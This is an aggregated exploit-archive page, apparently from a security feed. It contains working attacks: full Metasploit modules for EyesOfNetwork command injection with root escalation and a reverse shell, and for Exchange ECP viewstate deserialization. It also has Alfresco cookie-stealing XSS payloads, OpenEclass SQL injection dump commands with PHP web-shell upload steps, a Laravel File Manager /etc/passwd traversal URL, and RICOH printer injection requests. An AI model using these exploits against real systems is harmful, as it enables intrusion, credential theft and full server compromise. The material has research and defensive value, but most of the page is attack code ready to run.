r = v19 == v19;
}

return r;
}

for (let v27 = 0; v27 < 100000; v27++) {
v9();
}
print(v9());

I haven't thoroughly invested the other optimization passes, but I suspect that there could be others that behave erroneously in this situation and potentially cause memory safety violations. As such I'm filing this as security issue as a precaution.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

[1] https://github.com/WebKit/webkit/blob/a2ddf838e7370aae3f5ed99f090f91f34b91c8bd/Source/JavaScriptCore/dfg/DFGObjectAllocationSinkingPhase.cpp#L777
[2] https://github.com/WebKit/webkit/blob/a2ddf838e7370aae3f5ed99f090f91f34b91c8bd/Source/JavaScriptCore/dfg/DFGObjectAllocationSinkingPhase.cpp#L454





Found by: saelo@google.com


macOS / iOS ImageIO OpenEXR Image Processing Memory Issues

$
0
0

macOS and iOS have a vulnerability with ImageIO where memory safety issues occur when processing OpenEXR images.


MD5 | dfd701d5c1fe94bd260c7c44d2b790ff


RICOH Aficio SP 5200S Printer HTML Injection

$
0
0

The RICOH Aficio SP 5200S printer suffers from a html injection vulnerability.


MD5 | 0892ce43eb0a4f1574d20e37f931152d

# Exploit Title: RICOH Aficio SP 5200S Printer - 'entryNameIn' HTML Injection
# Discovery by: Paulina Girón
# Discovery Date: 2020-03-02
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: http://support.ricoh.com/bb/html/dr_ut_e/re2/model/sp52s/sp52s.htm
# Product Version: RICOH Aficio SP 5200S Printer
# Vulnerability Type: Code Injection - HTML Injection

# Steps to Produce the HTML Injection:

#1.- HTTP POST Request 'adrsGetUser.cgi':

POST /web/entry/es/address/adrsGetUser.cgi HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 447
Cache-Control: max-age=0
Origin: http://xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx.xxx.xxx.xxx/web/entry/es/address/adrsList.cgi
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie: risessionid=059501971327590; cookieOnOffChecker=on; wimsesid=110507639
Connection: close

mode=ADDUSER&pageSpecifiedIn=&pageNumberIn=1&searchSpecifyModeIn=&outputSpecifyModeIn=DEFAULT&entryIndexIn=&entryNameIn=&entryFilterIn=ALL_O&searchItemIn=SEARCH_INDEX_O&searchDataIn=&pages=&listCountIn=10&totalCount=13&offset=0&00001=ADRS_ENTRY_USER&00002=ADRS_ENTRY_USER&00003=ADRS_ENTRY_USER&00004=ADRS_ENTRY_USER&00005=ADRS_ENTRY_USER&00006=ADRS_ENTRY_USER&00007=ADRS_ENTRY_USER&00008=ADRS_ENTRY_USER&00009=ADRS_ENTRY_USER&00010=ADRS_ENTRY_USER

#HTTP Response :

HTTP/1.0 200 OK
Date: Mon, 02 Mar 2020 15:15:59 GMT
Server: Web-Server/3.0
Content-Type: text/html; charset=UTF-8
Expires: Mon, 02 Mar 2020 15:15:59 GMT
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: cookieOnOffChecker=on; path=/
Connection: close



#2.- HTTP POST Request 'adrsSetUser.cgi':

POST /web/entry/es/address/adrsSetUser.cgi HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 611
Cache-Control: max-age=0
Origin: http://xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx.xxx.xxx.xxx/web/entry/es/address/adrsGetUser.cgi
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie: risessionid=059501971327590; cookieOnOffChecker=on; wimsesid=110507639
Connection: close

mode=ADDUSER&pageSpecifiedIn=&pageNumberIn=&searchSpecifyModeIn=&outputSpecifyModeIn=&inputSpecifyModeIn=WRITE&wayFrom=adrsGetUser.cgi%3FoutputSpecifyModeIn%3DSETTINGS&wayTo=adrsList.cgi%3FsearchSpecifyModeIn%3DNONE&isSelfPasswordEditMode=false&entryIndexIn=00012&entryNameIn=prueba&entryDisplayNameIn=prueba&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&userCodeIn=&smtpAuthAccountIn=AUTH_SYSTEM_O&folderAuthAccountIn=AUTH_SYSTEM_O&ldapAuthAccountIn=AUTH_SYSTEM_O&entryUseIn=ENTRYUSE_TO_O&faxDestIn=&mailAddressIn=&isCertificateExist=false&folderProtocolIn=SMB_O&folderPathNameIn=

#HTTP Response :

HTTP/1.0 200 OK
Date: Mon, 02 Mar 2020 15:17:10 GMT
Server: Web-Server/3.0
Content-Type: text/html; charset=UTF-8
Expires: Mon, 02 Mar 2020 15:17:10 GMT
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: cookieOnOffChecker=on; path=/
Connection: close

Alfresco 5.2.4 Cross Site Scripting

$
0
0

Alfresco version 5.2.4 suffers from multiple persistent cross site scripting vulnerabilities.


MD5 | 9a68ded6b119a4f8aa4a356c744ceadb

# Exploit Title: Alfresco 5.2.4 - Persistent Cross-Site Scripting
# Date: 2020-03-02
# Exploit Author: Romain LOISEL & Alexandre ZANNI (https://pwn.by/noraj) - Pentesters from Orange Cyberdefense France
# Vendor Homepage: https://www.alfresco.com/
# Software Link: https://www.alfresco.com/ecm-software
# Version: Alfresco before 5.2.4
# Tested on: 5.2.4
# CVE : CVE-2020-8776, CVE-2020-8777, CVE-2020-8778
# Security advisory: https://gitlab.com/snippets/1937042


### Stored XSS n°1 - Document URL - CVE-2020-8776 (found by Alexandre ZANNI)

Each file has a set of properties than can be edited by any authenticated user
that have write access on the project or the file.

The **URL** property of the file provided by the user is injected in the `href`
attribute of the HTML link without a proper escaping.

- Where? In URL property
- Payload: `" onmouseover="alert(document.cookie)"`
- Details: On the document explorer, the value is injected in a span tag. But on the detailed view of the file, it's inserted in the `href` attribute of a `a` tag. `http://` is prefixed before the payload provided by the user but can be bypassed. The generated vulnerable link will look like that:
```html
<a target="_blank" href="http://" onmouseover="alert(document.cookie)""="">http://" onmouseover="alert(document.cookie)"</a>
```
- Privileges: It requires write privileges to store it, any user with read access can see it.
- Steps to reproduce:
1. Go to _Document Library_
2. Upload a file or click _Edit properties_ on an existing file
3. Enter the payload in the URL property
4. Click on the file title to go on the detailed page of the file
5. Hover the displayed link to trigger the XSS

### Stored XSS n°2 - User profile photo upload / Document viewing - CVE-2020-8777 (found by Alexandre ZANNI)

There is no file restriction for photo uploading in the user profile page.
Then the profile picture can be seen in the browser.

- Where? In user profile photo
- Payload:
```xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN""http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,200 200,200 200,0" fill="#FF6804" stroke="#000000"/>
<script type="text/javascript">
alert('XSS - Orange Cyberdefense');
</script>
</svg>
```
- Details: The XSS is not triggerred everywhere, only with the _View in browser_ feature.
- Privileges: Any authenticated user can store it or trigger it.
- Steps to reproduce:
1. Go to your user profile page (`/share/page/user/<username>/profile`)
2. In the _Photo_ section, click _Upload_ and upload the SVG payload file
3. Use the document browser or any dashboard to find the uploaded file
4. Click on the title to go to the detailed page of the file
5. On the right panel, click the _View in browser_ link to trigger the XSS (on load)

### Stored XSS n°3 - Generic file upload / Document viewing - CVE-2020-8778 (found by Romain LOISEL)

This is the generic version of the previous XSS. Uploading dangerous file types
is allowed and then they can be viewed to triggered the XSS. The difference
between the two is that this one requires right access on a project to upload
documents so the XSS is not exploitable with a read only account but the
previous one can be exploited by any user as any user is allowed to have a
profile photo.

- Where? Uploading a document anywhere
- Payload: any file type that can store and execute a JavaScript payload (eg. HTML, SVG, XML, etc.)
- Details: The XSS is triggerred only with the _View in browser_ feature.
- Privileges: Any authenticated user with write access to a project can store it and any user that have read access to the file or project can trigger it.
- Steps to reproduce:
1. Go to a project dashboard
2. IClick _Upload_ and upload a dangerous file
3. Use the document browser or any dashboard to find the uploaded file
4. Click on the title to go to the detailed page of the file
5. On the right panel, click the _View in browser_ link to trigger the XSS (on load)


RICOH Aficio SP 5210SF Printer HTML Injection

$
0
0

The RICOH Aficio SP 5210SF printer suffers from a html injection vulnerability.


MD5 | 62e8f31d2fb34de5d640ae94768628bc

# Exploit Title: RICOH Aficio SP 5210SF Printer - 'entryNameIn' HTML Injection
# Discovery by: Olga Villagran
# Discovery Date: 2020-03-02
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: http://support.ricoh.com/bb/html/dr_ut_e/rc3/model/sp52s/sp52s.htm?lang=es
# Product Version: RICOH Aficio SP 5210SF Printer
# Vulnerability Type: Code Injection - HTML Injection

# Steps to Produce the HTML Injection:

#1.- HTTP POST Request 'adrsGetUser.cgi':

POST /web/entry/en/address/adrsGetUser.cgi HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://xxx.xxx.xxx.xxx/web/entry/en/address/adrsList.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 402
Connection: close
Cookie: risessionid=083527814813645; cookieOnOffChecker=on; wimsesid=121318357
Upgrade-Insecure-Requests: 1

mode=ADDUSER&pageSpecifiedIn=&pageNumberIn=1&searchSpecifyModeIn=&outputSpecifyModeIn=DEFAULT&entryIndexIn=&entryNameIn=&entryFilterIn=ALL_O&searchItemIn=SEARCH_INDEX_O&searchDataIn=&pages=&listCountIn=10&totalCount=8&offset=0&00001=ADRS_ENTRY_USER&00002=ADRS_ENTRY_USER&00003=ADRS_ENTRY_USER&00004=ADRS_ENTRY_USER&00007=ADRS_ENTRY_USER&00008=ADRS_ENTRY_USER&00010=ADRS_ENTRY_USER&00012=ADRS_ENTRY_USER


#HTTP Response :

HTTP/1.0 200 OK

Date: Mon, 02 Mar 2020 22:22:44 GMT
Server: Web-Server/3.0
Content-Type: text/html; charset=UTF-8
Expires: Mon, 02 Mar 2020 22:22:44 GMT
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: cookieOnOffChecker=on; path=/
Connection: close


#2.- HTTP POST Request 'adrsSetUser.cgi':


POST /web/entry/en/address/adrsSetUser.cgi HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://xxx.xxx.xxx.xxx/web/entry/en/address/adrsGetUser.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 607
Connection: close
Cookie: risessionid=083527814813645; cookieOnOffChecker=on; wimsesid=121318357
Upgrade-Insecure-Requests: 1

mode=ADDUSER&pageSpecifiedIn=&pageNumberIn=&searchSpecifyModeIn=&outputSpecifyModeIn=&inputSpecifyModeIn=WRITE&wayFrom=adrsGetUser.cgi%3FoutputSpecifyModeIn%3DSETTINGS&wayTo=adrsList.cgi%3FsearchSpecifyModeIn%3DNONE&isSelfPasswordEditMode=false&entryIndexIn=00005&entryNameIn=test&entryDisplayNameIn=test&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&userCodeIn=&smtpAuthAccountIn=AUTH_SYSTEM_O&folderAuthAccountIn=AUTH_SYSTEM_O&ldapAuthAccountIn=AUTH_SYSTEM_O&entryUseIn=ENTRYUSE_TO_O&faxDestIn=&mailAddressIn=&isCertificateExist=false&folderProtocolIn=SMB_O&folderPathNameIn=


#HTTP Response :

HTTP/1.0 200 OK

Date: Mon, 02 Mar 2020 22:23:10 GMT
Server: Web-Server/3.0
Content-Type: text/html; charset=UTF-8
Expires: Mon, 02 Mar 2020 22:23:10 GMT
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: cookieOnOffChecker=on; path=/
Connection: close

GUnet OpenEclass 1.7.3 SQL Injection

$
0
0

GUnet OpenEclass version 1.7.3 suffers from a remote SQL injection vulnerability.


MD5 | 18def0d7f68c9cdbae554622c23fb562

# Exploit Title: GUnet OpenEclass 1.7.3 E-learning platform - 'month' SQL Injection
# Google Dork: intext:"© GUnet 2003-2007"
# Date: 2020-03-02
# Exploit Author: emaragkos
# Vendor Homepage: https://www.openeclass.org/
# Software Link: http://download.openeclass.org/files/1.7/eclass-1.7.3.tar.gz
# Version: 1.7.3 (2007)
# Tested on: Ubuntu 12 (Apache 2.2.22, PHP 5.3.10, MySQL 5.5.38)
# CVE : -

Older versions are also vulnerable.

Source code:
http://download.openeclass.org/files/1.7/eclass-1.7.3.zip
http://download.openeclass.org/files/1.7/eclass-1.7.3.tar.gz

Setup instructions:
http://download.openeclass.org/files/docs/1.7/Install.pdf

Changelog:
https://download.openeclass.org/files/docs/1.7/CHANGES.txt

Manual:
https://download.openeclass.org/files/docs/1.7/eClass.pdf

############################################################################

Unauthenticated Information Disclosure

System info
127.0.0.1/modules/admin/sysinfo
(powered by phpSysInfo 2.0 that is also vulnerable)

Web-App version info
127.0.0.1/README.txt
127.0.0.1/info/about.php
127.0.0.1/upgrade/CHANGES.txt

############################################################################

(Authenticated - Requires student account) - Error-Based SQLi

https://127.0.0.1/modules/agenda/myagenda.php?month=3&year=2020

sqlmap -u "https://127.0.0.1/modules/agenda/myagenda.php?month=2&year=2020" --batch --dump

---
Parameter: month (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: month=5' AND (SELECT 9183 FROM(SELECT COUNT(*),CONCAT(0x7170717671,(SELECT (ELT(9183=9183,1))),0x716b706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Hztw&year=2020'
---

Almost every parameter will be either error-based, boolean-based or time-based vulnerable.
If you have a student account I recommend using this error-based SQLi because you will get all the database content really faster.
If you dont have an account use the following exploit that exploits an unauthenticated time-based blind injection.
It will definately be a slower proccess but you will get the administrator account pretty fast and move on with exploiting other authenticated vulnerabilities.
https://www.exploit-db.com/exploits/48106

############################################################################

(Authenticated - Requires student account) - PHP upload file extension bypass
If you have a student account you can bypass file extension restrictions and upload a PHP shell.
Register as user if the application is configured to allow registrations or use an SQLi to find an account that already exists.
Start looking for a class that you can submit an exercise as a student.
Register in that class and navigate to submit you exercise.
If you try to upload a .php file it will be renamed to .phps to prevent execution.
You can upload your PHP shell by spoofing the extension simply by renaming your .php file to .php3 or .PhP
Once you have uploaded it, open your course directory and then add "work" directory at the end
Course link example: https://127.0.0.1/courses/CS101/
Course link becomes: https://127.0.0.1/courses/CS101/work/
Directory listing will most likely be enabled by default and you will be able to view the directories.
Your shell will be in one of the multiple random alphanumeric directories that look like this /4a0c01h2nad9b/
Final shell link will look like this: https://127.0.0.1/courses/CS101/work/4a0c01h2nad9b/shell.php3

The same method works with "groups" if you cant find a class that supports submitting an exercise.
https://127.0.0.1/modules/group/group.php

############################################################################

(Authenticated - Requires student account) - View assessments of other students
If you have a student account you can view uploaded assessments from other students before or after the deadline that the professor has set.
Find the course link you are interested in.
https://127.0.0.1/courses/CS101
Add "work" directory at the end
https://127.0.0.1/courses/CS101/work/
Directory listing will most likely be enabled by default and you will be able to view and download other students' uploaded assessments.

############################################################################

(Authenticated - Requires admin account) - Upload PHP files

You have to login to the platform as an administrator or user with admin rights.
You can grab the administrator credentials as plaintext with an Unauthenticated Blind SQL Injection using the
following exploit https://www.exploit-db.com/exploits/48106 or use the authenticated SQLi for faster results.
Once you have logged in as admin:
1) Navigate to 127.0.0.1/modules/course_info/restore_course.php
2) Upload your .php shell compressed in a .zip file
3) Ignore the error message
4) Your PHP file is now uploaded to 127.0.0.1/cources/tmpUnzipping/[your-shell-name].php

############################################################################

(Authenticated - Requires admin account) - phpMyAdmin Remote Access

127.0.0.1/modules/admin/mysql
phpMyAdmin 2.10.0.2 is installed by default and allows remote logins
Once you have uploaded your shell can view the config.php file that contains the mysql password
127.0.0.1/config/config.php

############################################################################

(Authenticated - Requires admin account) - Plaintext password storage

When logged in as admin you can view all registered users credentials as plaintext.
127.0.0.1/modules/admin/listusers.php

EyesOfNetwork AutoDiscovery Target Command Execution

$
0
0

This Metasploit module exploits multiple vulnerabilities in EyesOfNetwork version 5.3 and prior in order to execute arbitrary commands as root. This module takes advantage of a command injection vulnerability in the target parameter of the AutoDiscovery functionality within the EON web interface in order to write an Nmap NSE script containing the payload to disk. It then starts an Nmap scan to activate the payload. This results in privilege escalation because the apache user can execute Nmap as root. Valid credentials for a user with administrative privileges are required. However, this module can bypass authentication via two methods, i.e. by generating an API access token based on a hard-coded key, and via SQL injection. This module has been successfully tested on EyesOfNetwork 5.3 with API version 2.4.2.


MD5 | 3a699f2aa100664503fd2a6553c99d29

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'EyesOfNetwork AutoDiscovery Target Command Execution',
'Description' => %q{
This module exploits multiple vulnerabilities in EyesOfNetwork version 5.3
and prior in order to execute arbitrary commands as root.

This module takes advantage of a command injection vulnerability in the
`target` parameter of the AutoDiscovery functionality within the EON web
interface in order to write an Nmap NSE script containing the payload to
disk. It then starts an Nmap scan to activate the payload. This results in
privilege escalation because the`apache` user can execute Nmap as root.

Valid credentials for a user with administrative privileges are required.
However, this module can bypass authentication via two methods, i.e. by
generating an API access token based on a hardcoded key, and via SQLI.
This module has been successfully tested on EyesOfNetwork 5.3 with API
version 2.4.2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Clément Billac', # @h4knet - Discovery and exploit
'bcoles', # Metasploit
'Erik Wynter' # @wyntererik - Metasploit
],
'References' =>
[
['CVE', '2020-8654'], # authenticated rce
['CVE', '2020-8655'], # nmap privesc
['CVE', '2020-8656'], # sqli auth bypass
['CVE', '2020-8657'], # hardcoded API key
['EDB', '48025']
],
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Targets' => [['Auto', { }]],
'Privileged' => true,
'DisclosureDate' => '2020-02-06',
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true, #HTTPS is required for the module to work
'PAYLOAD' => 'generic/shell_reverse_tcp'
},
'DefaultTarget' => 0))
register_options [
OptString.new('TARGETURI', [true, 'Base path to EyesOfNetwork', '/']),
OptString.new('SERVER_ADDR', [true, 'EyesOfNetwork server IP address (if different from RHOST)', '']),
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false])
]
end

def nmap_path
'/usr/bin/nmap'
end

def server_addr
datastore['SERVER_ADDR'].blank? ? rhost : datastore['SERVER_ADDR']
end

def check
vprint_status("Running check")
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/eonapi/getApiKey')

unless res
return CheckCode::Unknown('Connection failed')
end

unless res.code == 401 && res.body.include?('api_version')
return CheckCode::Safe('Target is not an EyesOfNetwork application.')
end

version = res.get_json_document()['api_version'] rescue ''

if version.to_s.eql? ''
return CheckCode::Detected('Could not determine EyesOfNetwork version.')
end

version = Gem::Version.new version

unless version <= Gem::Version.new('2.4.2')
return CheckCode::Safe("Target is EyesOfNetwork with API version #{version}.")
end

CheckCode::Appears("Target is EyesOfNetwork with API version #{version}.")
end

def generate_api_key
default_key = "€On@piK3Y"
default_user_id = 1
key = Digest::MD5.hexdigest(default_key + default_user_id.to_s)
Digest::SHA256.hexdigest(key + server_addr)
end

def sqli_to_api_key
# Attempt to obtain the admin API key via SQL injection, using a fake password and its md5 encrypted hash
fake_pass = Rex::Text::rand_text_alpha(10)
fake_pass_md5 = Digest::MD5.hexdigest("#{fake_pass}")
user_sqli = "' union select 1,'admin','#{fake_pass_md5}',0,0,1,1,8 or '"
api_res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/eonapi/getApiKey"),
'method' => 'GET',
'vars_get' => {
'username' => user_sqli,
'password' => fake_pass
}
})

unless api_res
print_error('Connection failed.')
return
end

unless api_res.code == 200 && api_res.get_json_document.include?('EONAPI_KEY')
print_error("SQL injection to obtain API key failed")
return
end

api_res.get_json_document()['EONAPI_KEY']
end

def create_eon_user(user, password)
vprint_status("Creating user #{user} ...")

vars_post = {
user_name: user,
user_group: "admins",
user_password: password
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/eonapi/createEonUser'),
'ctype' => 'application/json',
'vars_get' => {
'apiKey' => @api_key,
'username' => @api_user
},
'data' => vars_post.to_json
})

unless res
print_warning("Failed to create user: Connection failed.")
return
end

return res
end

def verify_api_key(res)
return false unless res.code == 200

json_data = res.get_json_document
json_res = json_data['result']
return false unless json_res && json_res['description']
json_res = json_res['description']

return true if json_res && json_res.include?('SUCCESS')

return false
end

def delete_eon_user(user)
vprint_status "Removing user #{user} ..."

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/eonapi/deleteEonUser'),
'ctype' => 'application/json',
'data' => { user_name: user }.to_json,
'vars_get' => { apiKey: @api_key, username: @api_user }
})

unless res
print_warning 'Removing user #{user} failed: Connection failed'
return
end

res
end

def login(user, pass)
vprint_status "Authenticating as #{user} ..."

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'vars_post' => {
login: user,
mdp: pass
}
})

unless res
fail_with Failure::Unreachable, 'Connection failed'
end

unless res.code == 200 && res.body.include?('dashboard_view')
fail_with Failure::NoAccess, 'Authentication failed'
end

print_good "Authenticated as user #{user}"

@cookie = res.get_cookies

if @cookie.empty?
fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'
end

res
end

def create_autodiscovery_job(cmd)
vprint_status "Creating AutoDiscovery job: #{cmd}"

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),
'cookie' => @cookie,
'vars_post' => {
'request' => 'autodiscover',
'job_name' => 'Internal discovery',
'job_description' => 'Internal EON discovery procedure.',
'nmap_binary' => nmap_path,
'default_template' => '',
'target[]' => cmd
}
})

unless res
fail_with Failure::Unreachable, 'Creating AutoDiscovery job failed: Connection failed'
end

unless res.body.include? 'Starting...'
fail_with Failure::Unknown, 'Creating AutoDiscovery job failed: Job failed to start'
end

res
end

def delete_autodiscovery_job(job_id)
vprint_status "Removing AutoDiscovery job #{job_id} ..."

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),
'cookie' => @cookie,
'vars_get' => {
id: job_id,
delete: 1
}
})

unless res
print_warning "Removing AutoDiscovery job #{job_id} failed: Connection failed"
return
end
res
end

def execute_command(cmd, opts = {})
res = create_autodiscovery_job ";#{cmd} #"
return unless res

job_id = res.body.scan(/autodiscovery.php\?id=([\d]+)/).flatten.first

if job_id.empty?
print_warning 'Could not retrieve AutoDiscovery job ID. Manual removal required.'
return
end
delete_autodiscovery_job job_id
end

def cleanup
super
if @username
delete_eon_user @username
end
end

def exploit
unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

@api_user = 'admin'
@api_key = generate_api_key
print_status "Using generated API key: #{@api_key}"

@username = rand_text_alphanumeric(8..12)
@password = rand_text_alphanumeric(8..12)

create_res = create_eon_user @username, @password
unless verify_api_key(create_res)
@api_key = sqli_to_api_key
fail_with Failure::NoAccess, 'Failed to obtain valid API key' unless @api_key
print_status("Using API key obtained via SQL injection: #{@api_key}")
sqli_verify = create_eon_user @username, @password
fail_with Failure::NoAccess, 'Failed to obtain valid API with sqli' unless verify_api_key(sqli_verify)
end

admin_group_id = 1
login @username, @password
unless @cookie.include? 'group_id='
@cookie << "; group_id=#{admin_group_id}"
end

nse = Rex::Text.encode_base64("local os=require \"os\" hostrule=function(host) os.execute(\"#{payload.encoded.gsub(/"/, '\"')}\") end action=function() end")
nse_path = "/tmp/.#{rand_text_alphanumeric 8..12}"
cmd = "echo #{nse} | base64 -d > #{nse_path};sudo #{nmap_path} localhost -sn -script #{nse_path};rm #{nse_path}"
print_status "Sending payload (#{cmd.length} bytes) ..."
execute_command cmd
end
end

UniSharp Laravel File Manager 2.0.0 Arbitrary File Read

$
0
0

UniSharp Laravel File Manager version 2.0.0 suffers from an arbitrary file read vulnerability.


MD5 | 36c28a5443f575569570688658545271

# Exploit Title: UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read
# Google Dork: inurl:"laravel-filemanager?type=Files" -site:github.com -site:github.io
# Date: 2020-02-04
# Exploit Author: NgoAnhDuc
# Vendor Homepage: https://github.com/UniSharp/laravel-filemanager
# Software Link: https://github.com/UniSharp/laravel-filemanager
# Version: v2.0.0-alpha8 & v2.0.0
# Tested on: v2.0.0-alpha8 & v2.0.0
# CVE : N/A

PoC:

http://localhost/laravel-filemanager/download?working_dir=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2F&type=&file=passwd

XOO Digital 2.1.0 SQL Injection

$
0
0

XOO Digital version 2.1.0 suffers from a remote SQL injection vulnerability.


MD5 | 9818040eb97253552e16699d8221e159

====================================================================================================================================
| # Title : XOO DIGITAL v2.1.0 Sql Injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 68.0(32-bit) |
| # Vendor : http://xooscripts.com/demos/xoodigital/ |
| # Dork : |
====================================================================================================================================

poc :


[+] Dorking İn Google Or Other Search Enggine.

[+] Use payload : /http://xooscripts.com/demos/xoodigital/results.php?p=1%27

[+] http://xooscripts.com/demos/xoodigital/results.php?p=1%27 <====| inject here


Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* |
|
=======================================================================================================================================

Exchange Control Panel Viewstate Deserialization

$
0
0

This Metasploit module exploits a .NET serialization vulnerability in the Exchange Control Panel (ECP) web page. The vulnerability is due to Microsoft Exchange Server not randomizing the keys on a per-installation basis resulting in them using the same validationKey and decryptionKey values. With knowledge of these, values an attacker can craft a special viewstate to cause an OS command to be executed by NT_AUTHORITY\SYSTEM using .NET deserialization.


MD5 | ed889ec6ff5a153c3263e25acbc08820

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'bindata'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

# include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

DEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27'
VALIDATION_KEY = "\xcb\x27\x21\xab\xda\xf8\xe9\xdc\x51\x6d\x62\x1d\x8b\x8b\xf1\x3a\x2c\x9e\x86\x89\xa2\x53\x03\xbf"

def initialize(info = {})
super(update_info(info,
'Name' => 'Exchange Control Panel Viewstate Deserialization',
'Description' => %q{
This module exploits a .NET serialization vulnerability in the
Exchange Control Panel (ECP) web page. The vulnerability is due to
Microsoft Exchange Server not randomizing the keys on a
per-installation basis resulting in them using the same validationKey
and decryptionKey values. With knowledge of these, values an attacker
can craft a special viewstate to cause an OS command to be executed
by NT_AUTHORITY\SYSTEM using .NET deserialization.
},
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-0688'],
['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Windows (x86)', { 'Arch' => ARCH_X86 } ],
[ 'Windows (x64)', { 'Arch' => ARCH_X64 } ],
[ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ]
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 1,
'DisclosureDate' => '2020-02-11',
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
'Reliability' => [ REPEATABLE_SESSION, ],
}
))

register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),
OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])
])

register_advanced_options([
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
])
end

def check
state = get_request_setup
viewstate = state[:viewstate]
return CheckCode::Unknown if viewstate.nil?

viewstate = Rex::Text.decode_base64(viewstate)
body = viewstate[0...-20]
signature = viewstate[-20..-1]

unless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature
return CheckCode::Safe
end

# we've validated the signature matches based on the data we have and thus
# proven that we are capable of signing a viewstate ourselves
